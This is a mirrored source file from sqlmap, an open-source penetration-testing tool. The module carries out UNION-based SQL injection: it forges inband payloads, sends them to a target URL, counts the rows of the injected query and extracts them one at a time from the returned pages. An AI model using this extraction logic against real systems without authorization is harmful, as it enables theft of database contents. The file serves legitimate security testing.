mirror of
https://github.com/sqlmapproject/sqlmap.git
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daebb0010b
Alignment of SQL statement payload packing/unpacking between all of the techniques. Minor bug fix to use the proper charset (2, numbers) when dealing with COUNT() in custom queries too. Minor code cleanup.
281 lines
11 KiB
Python
281 lines
11 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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import time
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from lib.core.agent import agent
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from lib.core.common import calculateDeltaSeconds
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from lib.core.common import clearConsoleLine
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from lib.core.common import dataToStdout
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from lib.core.common import getIdentifiedDBMS
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from lib.core.common import getUnicode
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from lib.core.common import initTechnique
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from lib.core.common import isNumPosStrValue
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from lib.core.common import parseUnionPage
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.enums import DBMS
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from lib.core.enums import PAYLOAD
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from lib.core.exception import sqlmapSyntaxException
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from lib.core.settings import FROM_TABLE
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
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from lib.utils.resume import resume
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reqCount = 0
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def __configUnionChar(char):
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if char.isdigit() or char == "NULL":
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conf.uChar = char
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elif not char.startswith("'") or not char.endswith("'"):
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conf.uChar = "'%s'" % char
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def __configUnionCols(columns):
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if "-" not in columns or len(columns.split("-")) != 2:
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raise sqlmapSyntaxException, "--union-cols must be a range with hyphon (e.g. 1-10)"
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columns = columns.replace(" ", "")
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conf.uColsStart, conf.uColsStop = columns.split("-")
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if not conf.uColsStart.isdigit() or not conf.uColsStop.isdigit():
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raise sqlmapSyntaxException, "--union-cols must be a range of integers"
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conf.uColsStart = int(conf.uColsStart)
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conf.uColsStop = int(conf.uColsStop)
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if conf.uColsStart > conf.uColsStop:
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errMsg = "--union-cols range has to be from lower to "
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errMsg += "higher number of columns"
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raise sqlmapSyntaxException, errMsg
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def configUnion(char=None, columns=None):
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if isinstance(conf.uChar, basestring):
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__configUnionChar(conf.uChar)
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elif isinstance(char, basestring):
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__configUnionChar(char)
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if isinstance(conf.uCols, basestring):
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__configUnionCols(conf.uCols)
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elif isinstance(columns, basestring):
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__configUnionCols(columns)
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def unionUse(expression, direct=False, unescape=True, resetCounter=False, unpack=True, dump=False):
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"""
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This function tests for an inband SQL injection on the target
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url then call its subsidiary function to effectively perform an
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inband SQL injection on the affected url
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"""
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initTechnique(PAYLOAD.TECHNIQUE.UNION)
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count = None
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origExpr = expression
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start = time.time()
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startLimit = 0
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stopLimit = None
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test = True
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value = ""
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global reqCount
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if resetCounter:
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reqCount = 0
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# Prepare expression with delimiters
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if unescape:
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expression = agent.concatQuery(expression, unpack)
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expression = unescaper.unescape(expression)
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if kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == 2 and not direct:
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_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
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# We have to check if the SQL query might return multiple entries
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# and in such case forge the SQL limiting the query output one
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# entry per time
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# NOTE: I assume that only queries that get data from a table can
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# return multiple entries
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if " FROM " in expression.upper() and ((getIdentifiedDBMS() not in FROM_TABLE) or (getIdentifiedDBMS() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]))) and "EXISTS(" not in expression.upper():
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limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
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topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
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if limitRegExp or (getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
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if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
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limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
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limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
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if limitRegExp:
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limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
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limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif topLimit:
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startLimit = 0
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stopLimit = int(topLimit.group(1))
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limitCond = int(stopLimit) > 1
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elif getIdentifiedDBMS() == DBMS.ORACLE:
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limitCond = False
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else:
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limitCond = True
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# I assume that only queries NOT containing a "LIMIT #, 1"
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# (or similar depending on the back-end DBMS) can return
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# multiple entries
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if limitCond:
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if limitRegExp:
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stopLimit = int(stopLimit)
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# From now on we need only the expression until the " LIMIT "
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# (or similar, depending on the back-end DBMS) word
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if getIdentifiedDBMS() in (DBMS.MYSQL, DBMS.PGSQL):
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stopLimit += startLimit
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untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
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expression = expression[:untilLimitChar]
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elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
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stopLimit += startLimit
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elif dump:
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if conf.limitStart:
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startLimit = conf.limitStart
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if conf.limitStop:
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stopLimit = conf.limitStop
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if not stopLimit or stopLimit <= 1:
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if getIdentifiedDBMS() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[getIdentifiedDBMS()]):
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test = False
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else:
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test = True
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if test:
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# Count the number of SQL query entries output
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countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
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countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
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if re.search(" ORDER BY ", expression, re.I):
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untilOrderChar = countedExpression.index(" ORDER BY ")
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countedExpression = countedExpression[:untilOrderChar]
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count = resume(countedExpression, None)
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if not stopLimit:
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if not count or not count.isdigit():
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output = unionUse(countedExpression, direct=True)
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if output:
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count = parseUnionPage(output, countedExpression)
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if isNumPosStrValue(count):
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stopLimit = int(count)
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infoMsg = "the SQL query used returns "
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infoMsg += "%d entries" % stopLimit
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logger.info(infoMsg)
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elif count and not count.isdigit():
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warnMsg = "it was not possible to count the number "
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warnMsg += "of entries for the used SQL query. "
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warnMsg += "sqlmap will assume that it returns only "
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warnMsg += "one entry"
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logger.warn(warnMsg)
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stopLimit = 1
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elif (not count or int(count) == 0):
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warnMsg = "the SQL query used does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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return None
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elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
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warnMsg = "the SQL query used does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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return None
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try:
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for num in xrange(startLimit, stopLimit):
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if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
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field = expressionFieldsList[0]
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elif getIdentifiedDBMS() == DBMS.ORACLE:
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field = expressionFieldsList
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else:
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field = None
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limitedExpr = agent.limitQuery(num, expression, field)
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output = resume(limitedExpr, None)
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if not output:
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output = unionUse(limitedExpr, direct=True, unescape=False)
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if output:
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value += output
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parseUnionPage(output, limitedExpr)
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if conf.verbose in (1, 2):
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length = stopLimit - startLimit
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count = num - startLimit + 1
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status = '%d/%d entries (%d%s)' % (count, length, round(100.0*count/length), '%')
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dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), status), True)
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dataToStdout("\n")
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except KeyboardInterrupt:
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print
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warnMsg = "Ctrl+C detected in dumping phase"
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logger.warn(warnMsg)
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finally:
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clearConsoleLine(True)
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return value
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value = unionUse(expression, direct=True, unescape=False)
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else:
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# Forge the inband SQL injection request
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vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
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query = agent.forgeInbandQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5])
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payload = agent.payload(newValue=query)
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# Perform the request
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resultPage, _ = Request.queryPage(payload, content=True)
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reqCount += 1
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if kb.misc.start not in resultPage or kb.misc.stop not in resultPage:
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return
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# Parse the returned page to get the exact inband
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# sql injection output
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startPosition = resultPage.index(kb.misc.start)
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endPosition = resultPage.rindex(kb.misc.stop) + len(kb.misc.stop)
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value = getUnicode(resultPage[startPosition:endPosition])
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duration = calculateDeltaSeconds(start)
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debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
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logger.debug(debugMsg)
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return value
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